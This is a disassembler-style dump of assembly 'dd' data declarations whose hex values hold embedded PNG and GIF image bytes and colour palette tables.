dd 0C972A4C8h, 0D09F3A6Ch, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h
dd 58B0E0BFh, 400ABFCh, 0CD620385h, 0F0DFBB6Eh, 0AF4E7CB8h
dd 0BCF8EFDBh, 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h
dd 406828Bh, 4420901h, 960E0C08h, 9A999897h, 9E9D9C9Bh
dd 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh
dd 0B6B5B4B3h, 60B0DAEh, 0D074203h, 0C216140Fh, 0C6C5C4C3h
dd 0CAC9C8C7h, 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h
dd 0DEDDDCDBh, 0E2E1E0DFh, 0C0E14D9h, 0E0A4206h, 0EE191814h
dd 0F2F1F0EFh, 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh
dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1782C3A1h, 0C21021CAh
dd 0D05C200h, 0DC6A321Bh, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch
dd 532893C9h, 0B2C95CAAh, 3097CBA5h, 499CCA63h, 9BCDA6B3h
dd 0D4C27338h, 0FE01E170h, 0D80D2103h, 0B440E06Dh, 48A3D1A8h
dd 0CA5D2A93h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh
dd 0ABB5CADDh, 0C360AFD7h, 764B1D8Ah, 140C06EBh, 6071081Ah
dd 0E870321h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh
dd 380BFDFh, 0B84C1E0Bh, 88C3E1B0h, 0CC5E2B13h, 0C7E3B1B8h
dd 0C8730F90h, 9081C160h, 783B1707h, 0B3B9CCD8h, 43A0CFE7h
dd 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h
dd 0EDB6BB4Dh, 0EB73B8DBh, 3BB2DDEh, 319707CFh, 0A1F0F06Ch
dd 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh
dd 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 670F773Ch
dd 0E0805781h, 0F78803F6h, 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh
dd 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h, 0E0A82608h
dd 0E8360C82h, 7E0683E0h, 42041930h, 741A050h, 0E1A08420h
dd 76FE1C86h, 2087E1E8h, 88E22886h, 0E2689624h, 0A8A62889h
dd 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h, 0A8E6388Dh
dd 0F8208C63h, 16108146h, 882170Ch, 0E4691644h, 0A9264891h
dd 364C92E4h, 5093E4E9h, 94E52946h, 0E5695654h, 0A9665895h
dd 765C96E5h, 6097E5E9h, 98E62986h, 2196E64h, 7108167Ah
dd 881F0701h, 709BC230h, 9CE729C6h, 0E769D674h, 0A9E6789Dh
dd 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h
dd 368CA2E8h, 86A3E8EAh, 5E1208Ah, 0E1806042h, 0AA642408h
dd 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h
dd 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh
dd 623D08EBh, 1E064420h, 9424084h, 0EC6B16C4h, 0AB26C8B1h
dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h
dd 76DCB6EDh, 0E0B7EDEBh, 0B8EE2B86h, 424B6EE4h, 641D8708h
dd 0C3B06BF0h, 0BBEEEB96h, 0EF2BC6F0h, 6BD6F4BCh, 0E6F8BDEFh
dd 23BC2FABh, 56BEBA0h, 26E08296h, 6C1704A4h, 2708C1F0h
dd 0CC2F0ACh, 0C3F0EC37h, 292C1B10h, 60569407h, 41EE85C1h
dd 1CC6F1A8h, 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 781FC6F2h
dd 97045930h, 50C1905Dh, 0F32CC565h, 6CD734CCh, 0E738CDF3h
dd 3CCEF3ACh, 6B33CF7h, 0C1204C18h, 6D174418h, 2748D1F4h
dd 4CD2F4ADh, 0D3F4ED37h, 43FD4750h, 3B0010h, 474E5089h
dd 0A1A0A0Dh, 0D000000h, 52444849h, 1000000h, 15000000h
dd 208h, 13300800h, 53h, 47527301h, 0CEAE0042h, 0E91Ch
dd 48700900h, 7359h, 130Bh, 1130Bh, 189C9Ah, 74070000h
dd 7454D49h, 15150CD8h, 46C0071Eh, 0A9B5h, 44494700h, 0D7085441h
dd 11C1C105h, 4102080h, 28CE65C1h, 4D2CC74Ch, 0F2FC68C5h
dd 3962D47h, 27DD75BBh, 0D1F2C892h, 0FA5534A8h, 0F63BB17Ch
dd 39907860h, 1FB19CC9h, 8850920Fh, 416C4288h, 0AE614004h
dd 0FDB1B0C5h, 24B54E03h, 24B44B1Dh, 70h, 4E454900h, 6042AE44h
dd 82h, 38464947h, 2D6139h, 0D5E7002Fh, 211E1F00h, 24232022h
dd 24261F20h, 28252727h, 28292627h, 262A2A26h, 2B272925h
dd 38302D2Fh, 373B3A36h, 37383C36h, 3E38393Dh, 3B3F393Ah
dd 3A3C403Ah, 403C3D42h, 3F41423Eh, 3E3F4343h, 443F4044h
dd 474C4542h, 4C484A46h, 4B47484Ch, 494D4D49h, 494A4E48h
dd 504A4B4Fh, 4D514A4Ch, 4C4D524Bh, 544D4E53h, 50554E4Fh
dd 5051564Fh, 57535459h, 55595955h, 56575B54h, 5656585Ch
dd 5A5C5C5Ah, 585A5E5Dh, 60595A5Fh, 5C615A5Bh, 5C5D625Bh
dd 645D5E63h, 61665E5Fh, 66626460h, 68616267h, 64666263h
dd 63646968h, 6B64656Ah, 686A6566h, 67686D6Ch, 6F68696Eh
dd 6E72696Ah, 6D6F736Ch, 74736F71h, 73757672h, 72757377h
dd 7A737674h, 777C7475h, 76797776h, 7677787Dh, 7C777E7Bh
dd 797C7A7Eh, 787F7B7Dh, 7C817F7Dh, 84817C7Bh, 81808186h
dd 858A8083h, 8B888384h, 868C8984h, 8C878E8Bh, 898A908Fh
dd 8E908D88h, 908C8D90h, 95919393h, 9896938Fh, 96919193h
dd 93969498h, 999A9893h, 9A959B97h, 9E9C979Ch, 9DA09E99h
dd 0A39EA4A2h, 0A7A2A5A5h, 0A3A1A4A2h, 0A9A4ABA8h, 0ADAAA5ACh
dd 0AAAEABA6h, 0B0ABB1AFh, 0B3B1ACB2h, 0AFB5B3AEh, 0B6B4B6B4h
dd 0BBB8B3B3h, 0BEBFBCB7h, 0BEB8C0BCh, 0C3C1BCC0h, 0BDC4C0C3h
dd 0C3BEC4C2h, 0C7C2C5C5h, 0C1C1C4C2h, 0C7C2C9C6h, 0C4C7C5CAh
dd 0C6CBC8C3h, 0C9C4C5C8h, 0CCC8CACCh, 0C8CDCAC5h, 0C9CBC7CAh
dd 0CECCC6CDh, 0CBCFCDC7h, 0CEC9CACEh, 0D1CFCAD0h, 0D1CBCFCDh
dd 0D2CDD3CEh, 0D6D3CED5h, 0CFD0D3D1h, 0D5D0D7D4h, 0D3D6D4D8h
dd 0D1D9D5D7h, 0D8D6D9D7h, 0DBD9D4D5h, 0D6DCDAD5h, 0DBD9DDDBh
dd 0DFDCD7D7h, 0D9E0DDD8h, 0DFDAE1DEh, 0DCDFDDE2h, 0DEE3E0DBh
dd 0E1DFDDE0h, 0E4E2DCDEh, 0DDDFE2E0h, 0E4DFE5E3h, 0E8E5E0E6h
dd 0E1E9E4E7h, 0E6E4E9E6h, 0EAE7E2E3h, 0E3E4E7E5h, 0E8E6EBE8h
dd 0ECE9E4E5h, 0E5E6E9E7h, 0EAE8EDEAh, 0E8EBE9E7h, 0EBE9ECEAh
dd 0EFEAEAEEh, 0EBEFEDF2h, 0EEF3F0EBh, 0F1ECEDF0h, 0EEF1EFF4h
dd 0F0F5F2EDh, 0F3EEEFF2h, 0F0F3F1F6h, 0EFF1F4F2h, 0F3F8F7F5h
dd 0F2F5F3F1h, 0F4F8F6F0h, 0F7F2F3F7h, 0F4F8F6F9h, 0F7FCF9F4h
dd 0FAF5F6F9h, 0F7FAF8FDh, 0F9FEFBF6h, 0FCFAF8FBh, 0FAFDFBF9h
dd 0F9FFFEF8h, 0FFFCFFFFh, 0FCFFFEFBh, 20h dup(0FFFFFFFFh)
dd 4F921FFh, 0FF000A01h, 2C00h, 2D0000h, 800002Fh, 9FF00FEh
dd 9FF0481Ch, 94CA6733h, 0B0565325h, 1087C3A1h, 0E59B1E0Dh
dd 4D2612E9h, 0B285329Ah, 0C7A22C85h, 7D90C888h, 9248342Ah
dd 64B15628h, 87A41A75h, 1F622B91h, 26A40E63h, 52A08FCBh
dd 0DCE9A8C4h, 2416ACD9h, 0C96E903Dh, 942D48FCh, 0A8CF4F9Dh
dd 6CC67341h, 0CE65B261h, 1442F274h, 0A1AD1668h, 0D289A90Fh
dd 335A8BC3h, 858AC664h, 18D64635h, 2B4A6532h, 0B58599FDh
dd 7A58B521h, 4633418Eh
dd 0BBAFD88Ch, 0ADD57F78h, 0A65A8CCBh, 12DAB644h, 0D72785FCh
dd 82C26133h, 8C2C5DE5h, 0D0646258h, 25926120h, 452E9FF8h
dd 5305A09Ch, 0AFF3B8BCh, 594C1CDh, 32AAA463h, 81A23FA9h
dd 0AC0D5E79h, 99523335h, 0D52D6328h, 0D5331408h, 12FF73ABh
dd 0ABD2CBD6h, 0DD009BB6h, 0B8BBA612h, 0DAA65131h, 0BC44622Eh
dd 0C5606B38h, 85429160h, 6424CFF5h, 0CF3B70BFh, 2E185ADBh
dd 0FE87D453h, 0EC74E9EAh, 8BEDAF97h, 0B6130179h, 0AC28D4EBh
dd 6B194C75h, 0AFBB9E8Dh, 715EC060h, 0D4473AC2h, 2DF5CDB1h
dd 962B1F86h, 2506D560h, 4C55D4CCh, 33117A80h, 956D2B9Fh
dd 0E5485A81h, 31CC7805h, 4AC2F4CAh, 61C8545Bh, 290B338Bh
dd 0B429F53h, 561E12E5h, 0CD424465h, 0B32CCE41h, 215041DDh
dd 6D7ECBA3h, 2D870149h, 4CE8B0D1h, 133A3A71h, 70FF655Dh
dd 0CF5F4791h, 6E646340h, 4CE92646h, 340A402Fh, 0ED492206h
dd 52678D44h, 2A0CA52Ah, 4B9347Eh, 53188719h, 465597E5h
dd 8F24CA23h, 120FF934h, 0AF1DC5Fh, 0E91A5598h, 0D090270Ch
dd 0A422C841h, 15A4D1E4h, 0AA2046Ah, 0A3425F32h, 0ACBC30CCh
dd 5D1587A2h, 21C6C1A0h, 448218B4h, 0A16C4E93h, 708C1D46h
dd 0A92ACA52h, 268A129Ch, 0D031F48Eh, 0B1984B0Dh, 783A1A47h
dd 0FF9984C1h, 19C61158h, 4721BC6Ch, 51AC6E1Ch, 55BC0990h
dd 705619Ch, 45A0E822h, 0D4C6A412h, 0D84D15C4h, 23078210h
dd 11C580E0h, 2A47EB9h, 30F43D04h, 4C34B002h, 1EB14461h
dd 0E415001h, 0C23AFC3Ah, 114510Ch, 4803446Dh, 200D8350h
dd 13C32B00h, 110B6C44h, 20C41101h, 0C422B843h, 0E6108470h
dd 400543Eh, 200BC2Dh, 10C2FADh, 0CD0EBC44h, 1E0AC29Bh
dd 0FC2EAD0h, 90DBF03Fh, 90940C01h, 84170782h, 3C0F82D0h
dd 2105C18h, 2508C0Ch, 0C30EC3h, 504C486h, 240800C0h, 5C18070h
dd 31C1A859h, 0D02C0241h, 884105B0h, 5C9C311h, 0D013029h
dd 0C05C50h, 0B06905CCh, 0E0070443h, 3E0250DCh, 0D0F42D07h
dd 40712h, 3Bh, 38464947h, 2D6139h, 0FFE7002Eh, 79B000h
dd 0BE007DAFh, 7CB41D76h, 47FB700h, 0BA207BBEh, 82BB0081h
dd 85B80Ch, 0BA0084BEh, 82C60087h, 189BD28h, 0C10388C2h
dd 83CE1587h, 8CC12Ch, 0C2068CC0h, 8FC42189h, 90C600h
dd 0C90F90C5h, 8FCA0092h, 1392C71Fh, 0C50095C5h, 98C81596h
dd 3593CD06h, 0CC0999CAh, 96CB2596h, 1B9ACA2Dh, 0CD0E9BCCh
dd 93E1109Ch, 129DCE3Ch, 0CC149ECFh, 0A19C14A1h, 22A1CCA3h
dd 0DA3C9FCEh, 9CE0389Dh, 24A3CE31h, 0A019A4D0h, 0A5D1A8A5h
dd 8DA4B41Bh, 0D21EA7D3h, 0A8D529A7h, 51A2DC20h, 0A536A3E2h
dd 0A9D5ADAAh, 22AAD72Ch, 0D33FA3E6h, 0AAD522ACh, 40A6E335h
dd 0D624AED5h, 0AFD526AFh, 33ABE430h, 0B056ABD9h, 0ACDAB2AEh
dd 3BAFDB57h, 0E432B1D8h, 0B2DA44ACh, 52ACE22Ah, 0DC33B2D9h
dd 0B5B02CB4h, 37B5DCB7h, 0DF56B0E7h, 0B2EC2FB7h, 64B3E143h
dd 0DB3AB8E0h, 0B8C13ABAh, 57B8DB9Eh, 0DE3BBAE1h, 0BBE333BCh
dd 3CBCDE34h, 0E1BDBBB6h, 0BCBA45BBh, 0A1BDBFB9h, 0DFADBCBFh
dd 0BCBB3DBEh, 47BFDFC6h, 0C737C0E2h, 0C0E192BFh, 6FC0D340h
dd 0C071BAE7h, 0C1E2C2BEh, 8EC1CB41h, 0C0A0C1C5h, 0C3E5CAC0h
dd 0C4C2BD43h, 0ED44C4E6h, 0C4E43DC3h, 7FC6CF53h, 0CFC7C2C5h
dd 0C6E892C5h, 4FC3F146h, 0C147C7E9h, 0C4E6C9C6h, 4FC7E970h
dd 0E7B2C6CDh, 0CAD840CAh, 0BEC7C870h, 0C650C7EFh, 0CBE7D1C7h
dd 4BCAED49h, 0E96CC9E6h, 0CAE860CAh, 6DCDDD67h, 0CC5ACBEBh
dd 0CEEBCECAh, 0CECCC64Dh, 0ED88CAE7h, 0CFEA45CFh, 63CDEC55h
dd 0CB62D0E3h, 0CEECD6CCh, 5DD0EA6Ah, 0EE50D0F3h, 0CFEB50D2h
dd 66D2EB79h, 0CC65D4E6h, 0D0CFD4D1h, 74D1EFDAh, 0F16DD3EBh
dd 0D4F052D4h, 5AD6EB5Ah, 0EB53D5F2h, 0D1D488D2h, 62D5F0D6h
dd 0E97CD3EFh, 0D5ED53D9h, 0D7D4CF70h, 0F46AD6F0h, 0D4EF55D7h
dd 77D6ED83h, 0EC46D8F7h, 0D8F67DD6h, 72D7F04Eh, 0D765D8F3h
dd 0D8F2D9D5h, 8BD6EF6Ch, 0F54FDBF3h, 0D8EC5ED9h, 93D7EE85h
dd 0EF58DCF2h, 0DAF280D9h, 7ADAF174h, 0D451DDF5h, 0DDF4DBD9h
dd 67DBF659h, 0F78EDAEDh, 0DEF64ADEh, 61DCF852h, 0F588DBEFh
dd 0DFF85ADEh, 6FDCF64Bh, 0D968DEF2h, 0DAF1E4D9h, 53DFF795h
dd 0D6DED9DCh, 0E0FADEDBh, 9CDAF043h, 0F669DDF8h, 0DDF277DDh
dd 5BE0F683h, 0EC45E1FBh, 0E1FA9CDDh, 63E0F64Dh, 0F53BE2FDh
dd 0DCF07FDEh, 91DEF0A4h, 0FA97DEEEh, 0DDDB56E1h, 6CE1F6DAh
dd 0F372E1F4h, 0DFF59EDDh, 3DE5FA86h, 0FB8CDFF4h, 0DFDA57E3h
dd 81E0F8E2h, 0F37AE2F4h, 0DEDD93E0h, 74E3F6E8h, 0F09AE1F2h
dd 0E0F2A1E1h, 89E2F8AEh, 0DF8FE2F6h, 0E0E2DEE1h, 90E3F8E4h
dd 0DDA8E3F0h, 0E2F6E5E3h, 97E4F6A9h, 0F6A3E4F3h, 0E6F39EE5h
dd 0B3E8F3ABh, 0E7EBE8E3h, 0EAF7E6E9h, 0B7EBF7AFh, 0EAEEEAECh
dd 0FFFFF2EFh, 4F921FFh, 0FF000A01h, 2C00h, 2D0000h, 800002Eh
dd 9FF00FEh, 20B0481Ch, 9A4815C1h, 0C3428194h, 1087C3A0h
dd 13A0F20Dh, 7E3ED649h, 0BBC5F0FBh, 0C4486896h, 446B118Fh
dd 162D06D2h, 0EEF87E31h, 0F2C75BCDh, 20209DDAh, 67D3FE63h
dd 6D30CC8Ch, 22AD6ADAh, 0BC5EEFC7h, 79AED79Fh, 4A860272h
dd 0FD11990Ah, 2D34AA7Dh, 0F0532D67h, 0A753D5EEh, 6BB3198Eh
dd 39289481h, 7876492h, 80030F07h, 162797ECh, 64B55ACEh
dd 0D537ABD9h, 6FAB349Bh, 0D2293094h, 160CC743h, 50442A20h
dd 2810080h, 0E63E0906h, 66E7273Bh, 0ECC55CCEh, 2E974BD9h
dd 9E5A31DBh, 926144C6h, 198CC7A4h, 0E8904C2Dh, 5028160h
dd 7C061008h, 508977D4h, 0ECE5C3D3h, 0EE6733D1h, 935A2F58h
dd 0E22E4CB0h, 168C8663h, 0C8744225h, 84422140h, 0E623A206h
dd 30C9C3E3h, 56E45AB4h, 0BD5EB9Bh, 5741AC16h, 7BA128A2h
dd 0DDEE7303h, 0FE0421BDh, 2F8D2E78h, 0FE6ABFC3h, 2E1783B1h
dd 0B360B05Ch, 3E89BD4Eh, 0DC7547BDh, 0D04779BAh, 9C12FA3Eh
dd 0FDB53868h, 0DC3E46A2h, 0A8B65B33h, 5619C932h, 0E19564Ch
dd 81D089D6h, 10301167h, 0C4F2441Ch, 387E08D1h, 3B0DD2FDh
dd 9FF33CDFh, 320CA12Ah, 0F9946C86h, 9E75DEF0h, 5880C051h
dd 45D32511h, 87E9862Ch, 58D63B0Eh, 0A82A0B83h, 18482260h
dd 62212620h, 0B051D882h, 0A08E445Dh, 0B58B4D11h, 338E4394h
dd 4A32B0CEh, 81E08F26h, 8C3F81A3h, 3F679F18h, 1A8F243Eh
dd 1F990C7Bh, 7920E534h, 3099928Bh, 5087C6D2h, 671F05DAh
dd 90F83DBDh, 32705B32h, 0A0D461A4h, 0AF310DD3h, 25094294h
dd 26419C85h, 0C9444713h, 0C6F23h, 5C25D1F0h, 3722D77Ch
dd 0AD370DDh, 240A028h, 0E67A1E09h, 259983F8h, 955BC828h
dd 7E3B90Eh, 730CD51Ch, 2CCD3728h, 8B22C9BAh, 942911CCh
dd 19D82A23h, 0F38D06A6h, 0DFFE84C5h, 350D04E1h, 0CB2300D4h
dd 21C9B26h, 4A631CC8h, 0AA09A66Ah, 43A6A052h, 0E6F8ACAEh
dd 0F71CD04Dh, 1C922494h, 7BA987F2h, 8203E11Eh, 0C11A59B8h
dd 223906B0h, 0A1C6B1C6h, 0CEB30A65h, 14A1FAF2h, 0EC0B5221h
dd 0E47C0C6Eh, 7A9D960Eh, 0CDB2EDDAh, 64EBDB3Eh, 0E96B9AD2h
dd 29B11F01h, 0A4BE380Ah, 0B2598AB2h, 1B6E1BC2h, 6E416067h
dd 0CA56D49Fh, 7D05B619h, 401B8532h, 13C39410h, 5682987Dh
dd 5AF2F127h, 0C8389430h, 15B9C2F0h, 220E347Ch, 82344030h
dd 0D2747811h, 531BC0C9h, 1FC743F6h, 446E982Bh
dd 931198E3h, 0A21C5A0Ah, 4B041D48h, 0F8076F6Ah, 12CBA446h
dd 1C03D32h, 31E86D11h, 0CE93BD26h, 186E02F0h, 2591F010h
dd 0D0252036h, 10EC1F02h, 6C561585h, 1A0A1965h, 4130C038h
dd 7561D8EEh, 20140241h, 5C1E0781h, 0DB4C9600h, 0DCF67164h
dd 422910Fh, 641378DDh, 790B2988h, 1B0DBDE7h, 8CADE77Dh
dd 0FDD381DCh, 0D38509CEh, 8CE24AEDh, 0E3F8EE37h, 0F92E4790h
dd 6E5794E4h, 6798E5F9h, 4051FEh, 3Bh, 0
dd 38464947h, 2B6139h, 0FFE7002Bh, 10000h, 213110Ch, 25197024h
dd 6828072Dh, 712D00h, 2F017F2Dh, 782D066Eh, 7D3800h, 38008A37h
dd 77390384h, 423826h, 3D12993Dh, 6841096Eh, 0D804200h
dd 3E2B7F3Fh, 8B421252h, 128C4609h, 471D8848h, 864D1481h
dd 1C934C19h, 4E146E4Fh, 5B4C369Eh, 1E935219h, 4F388C52h
dd 61562469h, 2881561Eh, 58275C58h, 9859196Dh, 25935A18h
dd 5828515Dh, 0AB5A2293h, 24A55E26h, 6127A160h, 0AB651E9Bh
dd 36506738h, 62466369h, 0AB6A2682h, 31A2663Ah, 7335A469h
dd 0A86E2837h, 45A06B35h, 6D3A926Ah, 4E753996h, 3B48793Dh
dd 76459273h, 91714C73h, 345B7945h, 743CB176h, 0AC773AB3h
dd 57667B46h, 824F8576h, 947B5240h, 3D937F46h, 8249BB80h
dd 0B6813F8Dh, 3CB6804Ah, 8A53CA83h, 368D5861h, 5BC48941h
dd 9450788Ah, 0A0895237h, 5B948566h, 8A4A5190h, 0C18D40BFh
dd 506F8E59h, 8954BA8Ah, 859058C0h, 4949975Fh, 944FC894h
dd 839565C1h, 4DA69656h, 9664D095h, 8C9A6198h, 5ADE994Ah
dd 9C4F999Ch, 0BF9B5ED1h, 61CB9E52h, 0A96E1EACh, 59A56C29h
dd 72CE9D66h, 0A26922ACh, 96A563A1h, 6EC5A35Bh, 0A16737ACh
dd 0D9A459CBh, 5F17B56Bh, 0A868D5A6h, 0B96BAFh, 757BAC72h
dd 0A67121B5h, 2AB37AC2h, 794DB17Bh, 0BB7618B8h, 77B07A06h
dd 6308BB7Dh, 0B681DDAEh, 0DBF7238h, 8000C26Dh, 0AF5F42B6h
dd 27B980EAh, 6D0DBB85h, 0B164D6AEh, 0C4B16AD3h, 761EBE77h
dd 0BD7E00C2h, 2ABD7C1Fh, 8310C07Bh, 0B26B14C0h, 4C873E9h
dd 8536BD88h, 0B66660BAh, 96B584E4h, 72DEB37Ah, 0BA7000CCh
dd 80BB81B9h, 7928C486h, 0B971DBB6h, 71BD8BE3h, 834FC08Dh
dd 0C28B1FC8h, 0B3BB7D43h, 7034C589h, 0C88ADEBCh, 0D27621h
dd 8D93BE8Ah, 0D17F5EC3h, 0D9BD7E00h, 78CEBE7Fh, 0CF8AEABFh
dd 55C98F28h, 8129D184h, 0CC941FD4h, 34CE913Dh, 7FC3C684h
dd 0CAA213DAh, 56CC9E5Dh, 9B00DC86h, 0D59350CFh, 18DB892Fh
dd 84EDC882h, 0C88EDFC9h, 3DD692D3h, 9928DA8Fh, 0D59E7DCFh
dd 0B8CE8F3Fh, 0A469D39Ah, 0D5A360D3h, 51D7A257h, 0A5EBCD90h
dd 0D39539DAh, 6ED6ABB3h, 0A1D6CFA3h, 0DBAB8FD7h, 76D6B14Bh
dd 9DFED48Ah, 0E0A8E6D3h, 0FAD5924Ch, 0AD7FD8B2h, 0D49C8CD9h
dd 0F3D2A4F4h, 0B66CDDAEh, 0E0BC5BE1h, 0CFDBA85Ch, 0B83EE7B4h
dd 0E3B6E8D5h, 7BE0B965h, 0BBEEDD9Eh, 0DBAEE2D7h, 0F5DBA9E2h
dd 0C0B5E0AEh, 0E8BE89E2h, 0CEE1B263h, 0B75DEAC1h, 0E1BAE1E0h
dd 0E8DDC4D6h, 0C797E7C3h, 0F0BC72EAh, 0F5E3B75Dh, 0CDA6E9BEh
dd 0E6C496E7h, 0F4E2C3BBh, 0C8E7E4C3h, 0EED0D6E7h, 0BFEBD3A9h
dd 0D9AEEDD4h, 0F5D4B8EEh, 0BAF2D592h, 0D982F7D8h, 0F6E8A0F6h
dd 0E8F9F5D5h, 0FDF1FCF6h, 0FFFFFCFFh, 4F921FFh, 0FF000A01h
dd 2C00h, 2B0000h, 800002Bh, 9FF00FEh, 0CE8FF81Ch, 0E907839Eh
dd 0B0C85C10h, 7D85C3A1h, 0E3EA2CFAh, 46A362A8h, 0DC6A1E80h
dd 0A14F6FF8h, 5E0F1345h, 11B244F4h, 230493C7h, 0D15459EAh
dd 0AF61B0D6h, 8924911Ah, 3E9D24F2h, 0C9EE227Ah, 0BF9FCFD4h
dd 0AD3D3274h, 0E6A9E55Ah, 1D1188C6h, 0CFC471EDh, 424538A7h
dd 68CADE87h, 0A41EE1B4h, 75322E7Dh, 50E868AAh, 5AAAAD5Eh
dd 6307B9D5h, 9EFEA6A3h, 8B755AB6h, 7153ADD7h, 6230D204h
dd 0A31287E4h, 145E107Dh, 3FA7AC86h, 0AD86D57Bh, 15CBC5E2h
dd 2A0B3329h, 84523874h, 281D1D4Bh, 0A83470B0h, 9F3A5017h
dd 0BB55FD98h, 2595CB75h, 485C8052h, 4A0A6271h, 0BEC46C9Dh
dd 4AC1D8A4h, 8DB2E523h, 0B9F5FAA0h, 53AB556Fh, 3A41499Fh
dd 30D3A793h, 6582735Fh, 4B0604C3h, 1C921E88h, 48A8C6BEh
dd 0EECCBD51h, 4DCA4120h, 489E102Ah, 52F8F89Dh, 0A95B66D6h
dd 0FE50562Dh, 0CBF48954h, 0CD4041E1h, 86220515h, 4B2B5FB9h
dd 7C948A7h, 0B0D084Dh, 69409424h, 8BC884D2h, 483A1F97h
dd 0D3186E1h, 7A0801D1h, 8FB229E9h, 77C0F34Fh, 0C5F27C4Ah
dd 6B161D71h, 3A4F93A8h, 87023CA2h, 0B0C05717h, 686E08C1h
dd 8A8250D0h, 30C81240h, 0CAE5BD3Eh, 2C8A783h, 0E4821A89h
dd 0F7370C31h, 3B4FA3DCh, 0A1B1F8A8h, 0E0582A0Fh, 30411486h
dd 0D27A4744h, 3E0FC749h, 24A2B8A7h, 22C8B82Eh, 747C2461h
dd 0C98D4CC1h, 24CBB360h, 43211A1Bh, 31FC2306h, 48188CAh
dd 0D5242452h, 2BA4933Ch, 0B82F4BDh, 0F1FC6A20h, 0A4942989h
dd 0DA3BCF73h, 26CC5350h, 84D18C7Eh, 9028240Fh, 34AF28C3h
dd 9674A624h, 9A649838h, 0C781AA6Bh, 0C3209D1Fh, 68F43B8Dh
dd 0D3380DA3h, 16A792A8h, 1409046h, 0E2648C08h, 1A859890h
dd 762B64CAh, 2CE6EA28h, 8F53B8D1h, 0A3C0DA37h, 78FEA54Dh
dd 527C18Eh, 0C9922C23h, 0F2050F33h, 0C8B52D59h, 1A13C812h
dd 9B884148h, 0EAA330B4h, 3C0E839h, 5A953B0Fh, 2B12063Ah
dd 28C38050h, 0D1AA04A1h, 60E0390Ch, 28060402h, 9F208410h
dd 1BC6B2D0h, 0AC93D0BBh, 0B2AA94B2h, 0AECF1C89h, 9D088150h
dd 190FB5Ah, 40B02008h, 0E0541502h, 20C41540h, 0A2184643h
dd 3B2CAB20h, 0B9340E0h, 71205A96h, 3C020482h, 0EB2BCB01h
dd 4807468h, 81704411h, 706C1904h, 0B4DC38C4h, 0DF360A91h
dd 0C10F13C8h, 2B12E4D3h, 2C2C3E15h, 0FCB010C0h, 0C468C22h
dd 6017048h, 2407418h, 7294340Ch, 90FA3A4Fh, 0E637CD33h
dd 314D839Ch, 47224CAAh, 207834C2h, 64040141h, 30110C31h
dd 7818047h, 2B09425h, 81503E0Dh, 0CCED2C48h, 0D034CCE3h
dd 0D1B44334h, 2D015063h, 20100C06h, 0A43703C0h, 1804B301h
dd 0CB5709Ch, 4541203Eh, 92A07E19h, 0C538FE4Eh, 31CED384h
dd 46125CBEh, 50D04813h, 10070442h, 3F050050h, 301746Ch
dd 0C3209C17h, 2DDF75E4h, 1CA21F87h, 0E538CC03h, 2B0C632Ch
dd 0C401886Ch, 40138F0Ah, 581D0240h, 0C0451C1h, 0AC2B060h
dd 4460FC30h, 718C5A13h, 2C9720F9h, 0B02FCBF3h, 2648E264h
dd 80B0503Ah, 104805E9h, 0AD1BDB83h, 1E030070h, 0EC42A0ACh
dd 0FB414C46h, 0D27C6418h, 2C99267Bh, 59230892h, 883D12Ch
dd 43F077A7h, 70D51C25h, 9C1EC4C1h, 480C8240h, 177D2FB4h
dd 0C89483D8h, 0B1D87622h, 0E0823192h, 2815C31Bh, 0E43880D5h
dd 0D601A3CDh, 2283E080h, 81121D8h, 0D41A9FACh, 7C508760h
dd 50160462h, 77C81241h, 40C82B12h, 80380402h, 0BAF6A8D4h
dd 960A415h, 0A943D09Eh, 50878816h, 14096318h, 0A01C9AC0h
dd 0C82D9351h, 64197100h, 6666C580h, 0E1301081h, 0C424240Ch
dd 0EB19E2Bh, 0A80C02Ch, 466872C6h, 340B655h, 74CE99B4h
dd 1624807h, 42022004h, 0CB142210h, 0C0270658h, 0F82D83E0h
dd 31558841h, 50801A44h, 20300B02h, 5B544789h, 0B617E0Bh
dd 1B839462h, 1942303Eh, 0B1458136h, 53154190h, 3C0AC1A0h
dd 30063170h, 0E80F00A0h, 0A1B63584h, 0A1CC690Eh, 5C8870Ch
dd 1032C50Bh, 0A6BAC22h, 941A840h, 581702Eh, 0EA1C60ECh
dd 0E77C750h, 0A0670BA1h, 0B90C9082h, 90B6A583h, 0C07413C8h
dd 2E0D709h, 8A80AC14h, 843386Eh, 7086C98h, 2D09A0EEh
dd 5F09215Ah, 0AC1244A0h, 443B8640h, 0D4A90061h, 0F03E0348h
dd 0C0D81E02h, 0C0981F06h, 80000200h, 49E5Ch, 31A64CC8h
dd 66CCC997h, 2023FEh, 3Bh, 38464947h, 2C6139h, 0A3E7002Ch
dd 17171700h, 35313131h, 38383535h
dd 3A3A3A38h, 443F3F3Fh, 48484444h, 4C4C4C48h, 56515151h
dd 59595656h, 5A5A5A59h, 5D5B5B5Bh, 60605D5Dh, 61616160h
dd 63626262h, 64646363h, 66666664h, 68676767h, 69696868h
dd 6A6A6A69h, 6E6B6B6Bh, 6F6F6E6Eh, 7070706Fh, 73727272h
